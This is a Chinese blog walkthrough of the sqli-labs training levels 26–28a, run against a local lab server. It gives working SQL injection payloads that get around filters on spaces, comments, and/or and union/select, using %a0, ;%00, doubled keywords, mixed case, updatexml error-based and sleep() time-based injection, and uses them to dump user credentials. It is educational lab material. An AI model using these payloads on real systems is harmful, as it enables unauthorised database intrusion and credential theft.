首页 > 技术文章 > Less26-Less28a

7-58 2020-02-02 21:51 原文

Less-26:空格和and、or均被过滤

空格过滤比较严 ,常见的--,#,//,/**/都被过滤,包括常见的 

%09 TAB键(水平)
%0a 新建一行
%0c 新的一页
%0d return功能
%0b TAB键(垂直)
测试只有%a0可以生效

 

?id=1 正常

?id=1’ --+显示错误 且没有--+

?id=1’ ;%00 正常   (看提示 即第二张图)

 

 

 

 

 

 

 看源码   所有or and 注释符 空格 都被替换

 

 ?id=1’ oorr ‘1’=’1  正常登录,但是双写oorr这种形式太麻烦,可以用||替代

 结果显示错误,看下面的信息知道,union select之间没有了空格

 

 解决方式:

or可以用||替换

and可以用&&   %26%26

注释符用;%00替代

空格用%a0替代

可以试一下:?id=1’ union select 1,2,3 ;%00 

 

这关我们采用报错注入

  • /?id=1‘  || updatexml(1, concat(0x7e, ( database()  ) ),1)  || ’1‘=‘1

          使用这种方式可以得到我们的当前数据库

  • /?id=1‘||updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables) where (table_schema = 0x7365637572697479)  ) ),1)  || ’1‘=‘1  

          取得表信息。

  • /?id=1‘||updatexml(1,concat(0x7e,(select(group_concat(column_name))from(infoorrmation_schema.columns) where (table_name = 0x7573657273)  ) ),1) || ’1‘=‘1

           取得字段的值

  • /?id=1‘ || updatexml(1, concat(0x7e, ( select (group_concat(concat_ws(0x7e,username,passwoorrd))) from (security.users)  ) ),1) || ’1‘=‘1

           取出字段的值,但是取出的值很少,不完整。

  • /?id=1‘ || updatexml(1, concat(0x7e, ( select (group_concat(concat_ws(0x7e,username,passwoorrd))) from (security.users)  where (id=2) ) )   ,1) || ’1‘=‘1 

                通过改变id的值可以遍历所有的数据

 

 

 

 

 

 使用union select 要使用%a0来代替空格  注释符用;%00  或者 ||’1’=’1

 

 

 Less-26a:  id=('1')这样包裹   盲注

报错无法回显,但是可以用联合查询注入

?id=1 正常

?id=1’ 错误

看源码跟第26关一样

 

 我们像第26关一样使用报错注入,结果不行,出来错误

 

 看源码,知道这关是把错误信息不给咱们打印出来,所以这关我们不能使用报错注入

 

 

那我们使用union select将空格都用%a0替代进行操作就好了。(其他的都是一样的,我就不整了)

 

http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-26a/?id=1') %a0 union%a0 select%a0 1,2,(select %a0 group_concat( concat_ws( 0x7e,username,passwoorrd )) %a0from (%a0security.users)) ;%00

 

 

Less-27:过滤union,双重过滤select,过滤空格

1.尝试大小写混合写入

2.使用报错语句

3.基于时间的盲注 

Id=1 正常

Id=1’出来错误

Id=1’ ;%00 正常

 

 

 

 

 

 

 查看源码发现select  union 注释符 空格 也都不能再用了

 

 方法一:

既然union select 都是规矩的全是大写或者全是小写,那我们就尝试大小写混合写入

 

http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-27/?id=1' %a0 uNion  %a0  sElect  %a0 1, 2, 3    ;%00

 

 http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-27/?id=111' %a0 uNion  %a0  sElect  %a0 1, 2,group_concat(schema_name)  %a0  from  %a0 information_schema.schemata    ;%00  

 

 其他语句的跟之前一样

 

方法二:使用报错语句

http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-27/?id=1'    %a0  ||  %a0   updatexml(1, concat(0x7e, ( database()  ) ), 1)  %a0  || '1'='1

 其他的都跟第26关一样的,请参考我上面第26关的语句

 

方法三:使用基于时间的盲注   %26%26替代&& 表示and 意思

http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-27/?id=1' %26%26 if( length(database())>1, 1, sleep(5)    )  %26%26 %0a  '1'='1

 

 

注意:在句子后面不能使用or,因为使用or的情况下,无论如何情况返回都会是真。

 http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-27/?id=1' %26%26 if( length(database())>1, 1, sleep(5)    )  || %0a  '1'='1

上面这种方式错误

 

Less-27a:使用””包裹   其他与第27关一致

 

Less-28:使用(’’)包裹    单引号、括号、注释符号、空格 union&select 被过滤

?id=1 正常

?id=1’) --+出现错误

?id=1’) ;%00 正常

 

 查看源码 无法使用union select联合查询  空格 注释符也都被过滤

 

 可以采用%a0代替空格的方式进行查询

http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-28/?id=1') %a0order %a0by%a0 3;%00

 

 http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-28/?id=123456') %a0 union %a0 select %a0 1,2,3 ;%00        得回显位置

 

 http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-28/?id=123456') %a0 union %a0 select %a0 1,2,group_concat(1,database(),1) ;%00        得数据库

 

 http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-28/?id=123456') %a0 union %a0 select %a0 1,2,group_concat(schema_name) %a0  from  %a0   information_schema.schemata ;%00

 

 其他查询都跟之前的一样,请参照我之前所做的

看源码,人家不输出错误,所以我们不能无法使用报错注入,那么时间盲注也是可行的

 

 

 时间盲注:

http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-28/?id=1') %a0 %26%26  if( length(database())>8, 1, sleep(5)) ;%00

 

 http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-28/?id=1') %a0 %26%26  if( length(database())>, 1, sleep(5)) ;%00

 

 

 将注释符换成||’1’=(‘1 也是可以的

http://192.168.27.156/sqli-labs-master/sqli-labs-master/Less-28/?id=1') %a0 %26%26  if( length(database())>1, 1, sleep(5)) ||('1')=('1

 

 

 Less-28a:使用(‘’)包裹

源码

 

 这关不像28关那样过滤了空格注释符   其他的语句跟第28关一样

推荐阅读